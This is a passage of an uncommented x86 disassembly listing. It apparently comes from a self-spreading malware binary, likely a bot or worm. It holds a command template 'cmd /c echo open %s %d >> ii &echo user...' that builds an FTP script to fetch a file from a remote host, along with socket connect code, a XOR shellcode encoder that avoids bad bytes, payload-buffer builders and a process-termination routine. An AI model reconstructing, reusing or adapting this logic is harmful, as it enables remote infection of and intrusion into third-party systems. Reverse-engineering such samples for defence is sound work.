lea ecx, [esp+864h+var_850]
call sub_4010A0
lea ecx, [esp+864h+var_858]
call sub_4016B8
push offset dword_444B9C
lea ecx, [esp+868h+var_858]
call sub_402036
mov edx, [esp+864h+var_84C]
mov eax, [esp+864h+var_850]
push edx
push eax
lea ecx, [esp+86Ch+var_858]
call sub_4014FB
lea ecx, [esp+864h+var_858]
call sub_4010A0
lea ecx, [esp+864h+var_850]
call sub_4016B8
push offset dword_444B98
lea ecx, [esp+868h+var_818]
call sub_402036
mov ecx, [esp+864h+var_854]
mov edx, [esp+864h+var_858]
push ecx
push edx
lea ecx, [esp+86Ch+var_818]
call sub_4014FB
lea ecx, [esp+864h+var_858]
call sub_4016B8
mov eax, [esp+864h+arg_0]
mov ecx, [esp+864h+var_818]
mov edx, [esp+864h+var_814]
pop edi
mov [eax], ecx
pop esi
mov [eax+4], edx
pop ebx
add esp, 858h
retn
; ---------------------------------------------------------------------------
loc_424C15: ; CODE XREF: sub_424840+1Ej
; sub_424840+33j
mov eax, [esp+860h+arg_0]
mov ecx, [esp+860h+var_818]
mov edx, [esp+860h+var_814]
pop esi
mov [eax], ecx
mov [eax+4], edx
pop ebx
add esp, 858h
retn
sub_424840 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424D40 proc near ; CODE XREF: sub_401AB4j
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
sub esp, 210h
push esi
mov esi, [esp+214h+arg_0]
lea eax, [esp+214h+var_210]
lea ecx, [esp+214h+var_104]
push eax
push ecx
lea edx, [esp+21Ch+var_208]
push 0
lea eax, [esi+1]
push edx
push eax
mov [esp+228h+var_204], esi
mov [esp+228h+var_208], 1
mov [esp+228h+var_100], esi
mov [esp+228h+var_104], 1
mov [esp+228h+var_210], 0Ah
mov [esp+228h+var_20C], 0
nop
call near ptr 71AB2DC0h
cmp eax, 1
jz short loc_424DA9
xor eax, eax
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_424DA9: ; CODE XREF: sub_424D40+5Dj
lea ecx, [esp+214h+var_208]
push ecx
push esi
call sub_436F60
sub_424D40 endp
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_424DC0
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_424DC0: ; CODE XREF: ___:00424DB6j
mov edx, [esp+224h]
mov eax, [esp+220h]
mov ecx, [esp+21Ch]
push edx
push eax
push ecx
push esi
nop
call near ptr 71AB615Ah
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424E20 proc near ; CODE XREF: sub_4012F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_8]
push edi
push esi
nop
call near ptr 71AB2BC0h
mov edi, [esp+0Ch+arg_0]
mov ebx, dword_50FC8C
mov [esp+0Ch+arg_8], eax
push 0
lea eax, [esp+10h+arg_8]
push 4
push eax
push edi
call ebx
cmp eax, 4
jz short loc_424E53
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424E53: ; CODE XREF: sub_424E20+2Bj
mov ecx, [esp+0Ch+arg_4]
push 0
push esi
push ecx
push edi
call ebx
xor edx, edx
cmp eax, esi
setz dl
pop edi
pop esi
mov al, dl
pop ebx
retn
sub_424E20 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424E90 proc near ; CODE XREF: sub_4012F8j
var_104 = dword ptr -104h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 104h
push ebx
push ebp
mov ebp, [esp+10Ch+arg_8]
push esi
lea esi, [ebp+41h]
push esi
mov [esp+114h+var_104], esi
call near ptr 77C2C407h
nop
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_424EC3
pop esi
pop ebp
xor al, al
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_424EC3: ; CODE XREF: sub_424E90+25j
mov ecx, esi
push edi
mov edx, ecx
xor eax, eax
mov edi, ebx
mov esi, offset dword_4448CC
shr ecx, 2
rep stosd
mov ecx, edx
push 85h
and ecx, 3
push offset dword_444844
rep stosb
mov ecx, 0Bh
mov edi, ebx
rep movsd
movsw
movsb
mov [ebx+2Fh], bp
mov eax, dword_4448FC
mov [ebx+31h], eax
mov ecx, dword_444900
mov esi, [esp+11Ch+arg_4]
mov [ebx+35h], ecx
mov ecx, ebp
lea eax, [ebx+3Bh]
mov edx, ecx
mov edi, eax
shr ecx, 2
mov [ebx+39h], bp
add eax, ebp
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, dword_50E130
mov esi, [esp+11Ch+arg_0]
mov [eax], ecx
mov dx, word_50E134
push esi
mov [eax+4], dx
call sub_4012F3
add esp, 0Ch
test al, al
pop edi
jnz short loc_424F68
push ebx
call near ptr 77C2C21Bh
nop
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_424F68: ; CODE XREF: sub_424E90+C0j
push 0
lea eax, [esp+114h+var_100]
push 100h
push eax
push esi
call sub_401AB4
mov ecx, [esp+120h+var_104]
push ecx
push ebx
push esi
call sub_4012F3
add esp, 1Ch
test al, al
jnz short loc_424FA3
push ebx
nop
call near ptr 77C2C21Bh
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_424FA3: ; CODE XREF: sub_424E90+FBj
push 0
lea edx, [esp+114h+var_100]
push 100h
push edx
push esi
call sub_401AB4
push ebx
nop
call near ptr 77C2C21Bh
add esp, 14h
mov al, 1
pop esi
pop ebp
pop ebx
add esp, 104h
retn
sub_424E90 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425020 proc near ; CODE XREF: sub_401811j
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_414 = dword ptr -414h
var_410 = word ptr -410h
var_40E = word ptr -40Eh
var_40A = dword ptr -40Ah
var_406 = dword ptr -406h
var_402 = word ptr -402h
var_400 = byte ptr -400h
var_3FF = byte ptr -3FFh
var_371 = byte ptr -371h
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_9E = dword ptr 0A2h
sub esp, 41Ch
mov ecx, 0FFh
xor eax, eax
push ebp
push esi
push edi
lea edi, [esp+428h+var_3FF]
rep stosd
stosw
stosb
mov ecx, 23h
mov esi, offset sub_444A70
lea edi, [esp+428h+var_400]
rep movsd
movsw
mov ecx, offset byte_447541
movsb
call sub_4017E4
push eax
mov ecx, offset byte_447541
call sub_4017E4
mov ecx, [esp+42Ch+arg_0]
push eax
mov eax, dword_44767F
push eax
push ecx
call sub_401DF7
add esp, 4
lea edx, [esp+434h+var_371]
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
push 400h
push edx
nop
call near ptr 77C3FA76h
add eax, 90h
lea ecx, [esp+444h+var_418]
push eax
lea eax, [esp+448h+var_400]
push eax
push 164h
push offset sub_444908
push ecx
call sub_401BEA
mov eax, [esp+458h+var_414]
xor edi, edi
add esp, 30h
cmp eax, edi
jnz short loc_4250C9
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 41Ch
retn
; ---------------------------------------------------------------------------
loc_4250C9: ; CODE XREF: sub_425020+9Bj
mov ebp, dword_50FC2C
mov [esp+428h+var_41C], edi
loc_4250D3: ; CODE XREF: sub_425020+158j
test edi, edi
jnz loc_42517E
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_425161
mov eax, [esp+428h+arg_9E]
xor edx, edx
mov dword ptr [esp+428h+var_40E], edx
push eax
mov [esp+42Ch+var_40A], edx
mov [esp+42Ch+var_410], 2
mov [esp+42Ch+var_406], edx
mov [esp+42Ch+var_402], dx
call ebp
lea ecx, [esp+428h+arg_4]
mov [esp+428h+var_40E], ax
push ecx
call near ptr 71AB2BF4h
nop
lea edx, [esp+428h+var_410]
push 10h
push edx
push esi
mov [esp+28h], eax
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jz short loc_425156
mov eax, [esp+428h+var_414]
mov ecx, [esp+428h+var_418]
push eax
push ecx
push esi
call sub_4012F8
add esp, 0Ch
and eax, 0FFh
mov edi, eax
loc_425156: ; CODE XREF: sub_425020+11Aj
push esi
nop
call near ptr 71AB9639h
test edi, edi
jnz short loc_42516C
loc_425161: ; CODE XREF: sub_425020+CCj
push 3E8h
nop
call near ptr 2820000h
loc_42516C: ; CODE XREF: sub_425020+13Fj
mov eax, [esp+428h+var_41C]
inc eax
cmp eax, 2
mov [esp+428h+var_41C], eax
jl loc_4250D3
loc_42517E: ; CODE XREF: sub_425020+B5j
lea ecx, [esp+428h+var_418]
call sub_4016B8
test edi, edi
jz short loc_4251AE
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+4E4h+arg_0]
mov edi, esp
rep movsd
movsw
call sub_40114F
add esp, 0BCh
loc_4251AE: ; CODE XREF: sub_425020+169j
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 41Ch
retn
sub_425020 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425230 proc near ; CODE XREF: sub_4013C5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [esp+4+arg_0]
not ecx
dec ecx
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
pop edi
lea eax, [ecx+edx*2+0C1h]
retn
sub_425230 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425270 proc near ; CODE XREF: sub_40178Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_8]
push esi
mov esi, [esp+8+arg_C]
push esi
push ebx
call sub_4013C5
mov ecx, [esp+10h+arg_4]
add esp, 8
cmp eax, ecx
mov [esp+8+arg_8], eax
jbe short loc_425295
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425295: ; CODE XREF: sub_425270+1Ej
push ebp
push edi
or ecx, 0FFFFFFFFh
mov edi, ebx
xor eax, eax
mov ebp, [esp+10h+arg_0]
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
mov esi, offset dword_444C98
mov eax, ecx
mov edi, ebp
lea ecx, [eax+edx+12h]
mov dword_444CFC, ecx
lea ecx, [eax+1]
mov dword_444D1D, ecx
lea ecx, [eax+17h]
mov dword_444D15, ecx
mov ecx, 0FFFFFFEDh
sub ecx, eax
mov dword_444D2B, ecx
mov ecx, 1Dh
rep movsd
mov ecx, edx
mov esi, ebx
mov ebx, ecx
lea edi, [ebp+74h]
shr ecx, 2
rep movsd
mov ecx, ebx
add edx, 74h
and ecx, 3
rep movsb
mov esi, dword_444D0C
lea ecx, [edx+ebp]
add edx, 5
mov [ecx], esi
mov bl, byte_444D10
mov esi, [esp+10h+arg_C]
lea edi, [edx+ebp]
mov [ecx+4], bl
mov ecx, eax
mov ebx, ecx
add edx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov esi, dword_444D11
lea ecx, [edx+ebp]
add edx, 10h
mov [ecx], esi
mov esi, dword_444D15
lea edi, [edx+ebp]
mov [ecx+4], esi
mov esi, dword_444D19
mov [ecx+8], esi
mov esi, dword_444D1D
mov [ecx+0Ch], esi
mov esi, [esp+10h+arg_C]
mov ecx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [edx+eax]
mov eax, [esp+10h+arg_8]
add edi, ebp
mov ecx, 0Eh
mov esi, offset byte_444D21
rep movsd
pop edi
pop ebp
pop esi
pop ebx
retn
sub_425270 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4253E0 proc near ; CODE XREF: sub_402162j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4013C5
push eax
call sub_4017BC
add esp, 0Ch
retn
sub_4253E0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_425410: ; CODE XREF: ___:00401735j
push ebx
mov ebx, [esp+10h]
push ebp
push edi
mov edi, [esp+1Ch]
push edi
push ebx
call sub_402162
mov ebp, [esp+1Ch]
add esp, 8
cmp eax, ebp
jbe short loc_425433
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425433: ; CODE XREF: ___:0042542Bj
cmp eax, 0FFFFh
jbe short loc_425440
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425440: ; CODE XREF: ___:00425438j
push esi
push edi
push ebx
call sub_4013C5
add eax, 101h
push eax
nop
call near ptr 77C2C407h
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_4013C5
add esp, 8
push eax
push esi
call sub_40178A
push eax
mov eax, [esp+28h]
push esi
push ebp
push eax
call sub_401B77
push esi
mov edi, eax
nop
call near ptr 77C2C21Bh
add esp, 24h
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4254B0 proc near ; CODE XREF: sub_4017BCj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_4254B9
inc ecx
loc_4254B9: ; CODE XREF: sub_4254B0+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_4254B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4254E0 proc near ; CODE XREF: sub_401B77j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_C]
cmp bl, 0Ah
jz short loc_4254F8
cmp bl, 0Dh
jz short loc_4254F8
cmp bl, 5Ch
jz short loc_4254F8
test bl, bl
jnz short loc_4254F9
loc_4254F8: ; CODE XREF: sub_4254E0+8j
; sub_4254E0+Dj ...
inc ebx
loc_4254F9: ; CODE XREF: sub_4254E0+16j
cmp ebx, 0FFh
jbe short loc_42551C
mov eax, ebx
shr eax, 8
cmp al, 0Ah
jz short loc_425516
cmp al, 0Dh
jz short loc_425516
cmp al, 5Ch
jz short loc_425516
test al, al
jnz short loc_42551C
loc_425516: ; CODE XREF: sub_4254E0+28j
; sub_4254E0+2Cj ...
add ebx, 100h
loc_42551C: ; CODE XREF: sub_4254E0+1Fj
; sub_4254E0+34j
push ebx
call sub_4017BC
mov ecx, [esp+8+arg_4]
add esp, 4
cmp eax, ecx
mov [esp+4+arg_C], eax
jbe short loc_425535
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425535: ; CODE XREF: sub_4254E0+4Fj
cmp eax, 0FFFFh
jbe short loc_425540
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425540: ; CODE XREF: sub_4254E0+5Aj
mov al, byte_50E138
xor edx, edx
push ebp
mov ebp, [esp+8+arg_8]
test ebx, ebx
push esi
jbe short loc_425570
loc_425551: ; CODE XREF: sub_4254E0+8Ej
mov cl, [edx+ebp]
xor cl, al
jz short loc_425567
cmp cl, 0Ah
jz short loc_425567
cmp cl, 0Dh
jz short loc_425567
cmp cl, 5Ch
jnz short loc_42556B
loc_425567: ; CODE XREF: sub_4254E0+76j
; sub_4254E0+7Bj ...
inc al
xor edx, edx
loc_42556B: ; CODE XREF: sub_4254E0+85j
inc edx
cmp edx, ebx
jb short loc_425551
loc_425570: ; CODE XREF: sub_4254E0+6Fj
cmp ebx, 0FFh
push edi
mov byte_50E138, al
ja short loc_4255A3
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset loc_444C80
mov edi, edx
mov byte_444C8D, bl
mov byte_444C91, al
rep movsd
movsb
mov esi, 15h
jmp short loc_4255C9
; ---------------------------------------------------------------------------
loc_4255A3: ; CODE XREF: sub_4254E0+9Cj
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset loc_444C68
mov edi, edx
mov word_444C76, bx
mov byte_444C7B, al
rep movsd
movsw
movsb
mov esi, 17h
loc_4255C9: ; CODE XREF: sub_4254E0+C1j
xor ecx, ecx
pop edi
test ebx, ebx
jbe short loc_4255DF
add esi, edx
loc_4255D2: ; CODE XREF: sub_4254E0+FDj
mov dl, [ecx+ebp]
xor dl, al
mov [esi+ecx], dl
inc ecx
cmp ecx, ebx
jb short loc_4255D2
loc_4255DF: ; CODE XREF: sub_4254E0+EEj
mov eax, [esp+0Ch+arg_C]
pop esi
pop ebp
pop ebx
retn
sub_4254E0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425640 proc near ; CODE XREF: sub_401E24j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
xor ecx, ecx
lea eax, [eax+eax*2]
mov dword_4491CF[eax*4], ecx
mov dword_4491BB[eax*4], ecx
mov dword_4491BF[eax*4], ecx
mov dword_4491C3[eax*4], ecx
mov dword_4491C7[eax*4], ecx
mov dword_4491CB[eax*4], ecx
mov byte_448FBB[eax*4], cl
mov byte_4491D3[eax*4], cl
retn
sub_425640 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4256B0 proc near ; CODE XREF: sub_401370j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push ebx
push ebp
xor ebx, ebx
xor ebp, ebp
cmp ecx, ebx
jle loc_425767
cmp ecx, 400h
jge loc_425767
lea eax, [ecx+ecx*2]
push esi
shl eax, 4
sub eax, ecx
push edi
push ebx
lea esi, [eax+eax*2]
mov eax, dword_4491CF[esi*4]
push eax
nop
call near ptr 2750BF6h
cmp dword_4491CF[esi*4], ebx
jz short loc_4256F8
mov ebp, 1
loc_4256F8: ; CODE XREF: sub_4256B0+41j
mov dword_4491CF[esi*4], ebx
mov dword_4491BB[esi*4], ebx
mov dword_4491BF[esi*4], ebx
mov eax, dword_4491C3[esi*4]
cmp eax, ebx
jbe short loc_425721
push eax
call sub_401C6C
add esp, 4
loc_425721: ; CODE XREF: sub_4256B0+66j
mov edi, dword_50FC88
mov dword_4491C3[esi*4], ebx
mov byte_448FBB[esi*4], bl
mov byte_4491D3[esi*4], bl
mov ecx, dword_4491C7[esi*4]
push ecx
call edi
mov dword_4491C7[esi*4], ebx
mov edx, dword_4491CB[esi*4]
lea esi, ds:4491CBh[esi*4]
push edx
call edi
mov [esi], ebx
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425767: ; CODE XREF: sub_4256B0+Cj
; sub_4256B0+18j
mov eax, ebp
pop ebp
pop ebx
retn
sub_4256B0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4257A0 proc near ; CODE XREF: sub_401D93j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push ebp
push esi
push edi
xor ebp, ebp
xor edi, edi
mov esi, offset dword_4491BF
loc_4257B1: ; CODE XREF: sub_4257A0+52j
mov eax, [esp+10h+arg_0]
mov ecx, [esi-4]
cmp ecx, eax
jnz short loc_4257E5
test ebx, ebx
jle short loc_4257D7
cmp [esi], ebx
jz short loc_4257C8
cmp edi, ebx
jnz short loc_4257E5
loc_4257C8: ; CODE XREF: sub_4257A0+22j
push edi
call sub_401370
add esp, 4
test eax, eax
jz short loc_4257E5
jmp short loc_4257E4
; ---------------------------------------------------------------------------
loc_4257D7: ; CODE XREF: sub_4257A0+1Ej
push edi
call sub_401370
add esp, 4
test eax, eax
jz short loc_4257E5
loc_4257E4: ; CODE XREF: sub_4257A0+35j
inc ebp
loc_4257E5: ; CODE XREF: sub_4257A0+1Aj
; sub_4257A0+26j ...
add esi, 234h
inc edi
cmp esi, offset byte_4D61BF
jl short loc_4257B1
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_4257A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425820 proc near ; CODE XREF: sub_401C6Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
push eax
push 0
push 1F0FFFh
mov edi, 1
nop
call near ptr 2770000h
mov esi, eax
test esi, esi
jz short loc_425855
push 0
push esi
nop
call near ptr 26F0000h
test eax, eax
jnz short loc_425855
push esi
xor edi, edi
nop
call near ptr 28207DAh
loc_425855: ; CODE XREF: sub_425820+1Dj
; sub_425820+2Aj
mov eax, edi
pop edi
pop esi
retn
sub_425820 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425870 proc near ; CODE XREF: sub_401483j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
xor eax, eax
mov ecx, offset dword_4491BB
loc_42587B: ; CODE XREF: sub_425870+1Cj
cmp [ecx], edx
jnz short loc_425880
inc eax
loc_425880: ; CODE XREF: sub_425870+Dj
add ecx, 234h
cmp ecx, offset byte_4D61BB
jl short loc_42587B
retn
sub_425870 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4258A0 proc near ; CODE XREF: sub_401D8Ej
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
push esi
xor esi, esi
xor eax, eax
mov ecx, offset dword_4491BB
loc_4258AE: ; CODE XREF: sub_4258A0+1Fj
cmp [ecx], edx
jz short loc_4258C3
add ecx, 234h
inc eax
cmp ecx, offset byte_4D61BB
jl short loc_4258AE
mov eax, esi
loc_4258C3: ; CODE XREF: sub_4258A0+10j
pop esi
retn
sub_4258A0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4258E0 proc near ; CODE XREF: sub_401BD6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset byte_448FBB
loc_4258E8: ; CODE XREF: sub_4258E0+18j
cmp byte ptr [eax], 0
jz short loc_4258FE
add eax, 234h
inc edi
cmp eax, offset dword_4D5FBB
jl short loc_4258E8
mov eax, edi
pop edi
retn
; ---------------------------------------------------------------------------
loc_4258FE: ; CODE XREF: sub_4258E0+Bj
lea eax, [edi+edi*2]
push esi
shl eax, 4
sub eax, edi
push 1FFh
lea eax, [eax+eax*2]
lea esi, ds:448FBBh[eax*4]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
call near ptr 77C47A90h
nop
mov ecx, [esp+14h+arg_4]
mov edx, [esp+14h+arg_8]
mov [esi+200h], ecx
mov dword ptr [esi+204h], 0
add esp, 0Ch
mov dword ptr [esi+208h], 0
mov [esi+20Ch], edx
mov byte ptr [esi+218h], 0
mov eax, edi
pop esi
pop edi
retn
sub_4258E0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_425980 proc near ; CODE XREF: sub_401609j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_425980
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 7
push 0Eh
push 9
push 10h
push 4Fh
push 13h
push 0Fh
mov esi, ecx
push 4
lea eax, [esp+68h+var_3C]
push 4
push eax
mov dword ptr [esi+118h], 0
mov byte ptr [esi+11Ch], 0
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
sub_425980 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 4
push 15h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+28h]
push 4
push edx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Eh
push 19h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea ecx, [esp+28h]
push 4
push ecx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017E4
lea edx, [esi+60h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea eax, [esp+2Ch]
push 4
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
lea ecx, [esi+0EAh]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Eh
push 19h
push 13h
push 4
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+48h]
push 4
push edx
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017E4
add esi, 8Eh
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_425BD0: ; CODE XREF: ___:loc_401B6Dj
push 0FFFFFFFFh
push offset loc_43B6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
push esi
mov esi, [esp+50h]
mov ebx, ecx
push edi
lea ebp, [esi+7Eh]
lea ecx, [ebx+60h]
mov [esp+54h], ebp
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
mov edi, dword_50FB08
test eax, eax
jnz loc_425D68
push 95h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
xor ebp, ebp
cmp eax, ebp
mov [esp+4Ch], ebp
jz short loc_425C3B
mov ecx, eax
call sub_401DD9
mov ebp, eax
loc_425C3B: ; CODE XREF: ___:00425C30j
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push eax
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016AE
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 1
call sub_401FBE
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 2
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 2
call sub_4017E4
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+50h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 3
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 3
call sub_4017E4
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 4
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 4
call sub_4017E4
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea ecx, [esi+69h]
push ecx
lea ecx, [ebp+26h]
call sub_401FBE
mov dl, [esi+93h]
mov ecx, ebp
mov [ebp+8Fh], dl
mov al, [esi+94h]
mov [ebp+90h], al
call sub_4013D4
mov ebp, [esp+54h]
loc_425D68: ; CODE XREF: ___:00425C11j
lea ecx, [ebx+8Eh]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_425EDA
push 95h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
